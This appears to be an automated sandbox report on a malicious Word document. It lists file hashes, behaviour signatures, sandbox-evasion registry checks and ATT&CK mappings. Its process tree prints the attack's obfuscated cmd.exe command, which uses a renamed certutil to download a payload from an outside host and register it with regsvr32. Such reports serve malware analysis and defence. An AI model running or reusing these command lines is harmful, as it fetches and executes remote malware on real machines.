e67aa7a4192ca035c6c52a6afaf1b03058b9baa6fde616db3dad9d8d3d4c24cc

General

Target

legal agreement_07.30.2020.doc
Size

103KB
MD5

b3b0dffa00f1a93dd4f4069d87f43dd3
SHA1

756fe15d649645f5d9c3ef60dcd6d6ba5384633e
SHA256

e67aa7a4192ca035c6c52a6afaf1b03058b9baa6fde616db3dad9d8d3d4c24cc
SHA512

fe57b509a42cf017bc17d7b84d69ffb9c8de4e7240ef4056caf4e91fda39fee16b0019a4c6fba521f7278d99d857b9ef1374329177a70cc5b6ccc1bf44fd0202

Score

10^/10

Malware Config

Signatures

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 3488 wrote to memory of 2636	3488	WINWORD.EXE	cmd.exe
PID 3488 wrote to memory of 2636	3488	WINWORD.EXE	cmd.exe
PID 2636 wrote to memory of 2700	2636	cmd.exe	1.exe
PID 2636 wrote to memory of 2700	2636	cmd.exe	1.exe

Executes dropped EXE 1 IoCs

Processes:

1.exe

pid process

2700 1.exe

pid	process
2700	1.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious use of SetWindowsHookEx 19 IoCs

Processes:

WINWORD.EXE

pid	process
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE
3488	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3488 WINWORD.EXE
3488 WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2636	3488	cmd.exe	WINWORD.EXE

An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs

Processes:

cmd.exe

pid process

2636 cmd.exe

pid	process
2636	cmd.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\legal agreement_07.30.2020.doc" /o ""
1⤵
- Suspicious use of WriteProcessMemory
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:3488

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c "set u=url&&call C:\ProgramData\1.exe /%u%^c^a^c^h^e^ /f^ http://bofzvaxf6.com/bolb/jaent.php?l=liut1.cab C:\ProgramData\1.tmp && call regsvr32 C:\ProgramData\1.tmp"
2⤵
- Suspicious use of WriteProcessMemory
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
PID:2636

C:\ProgramData\1.exe
C:\ProgramData\1.exe /urlcache /f http://bofzvaxf6.com/bolb/jaent.php?l=liut1.cab C:\ProgramData\1.tmp
3⤵
- Executes dropped EXE
PID:2700

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\1.exe

Download Submit
memory/2636-4-0x0000000000000000-mapping.dmp

Download
memory/2700-5-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads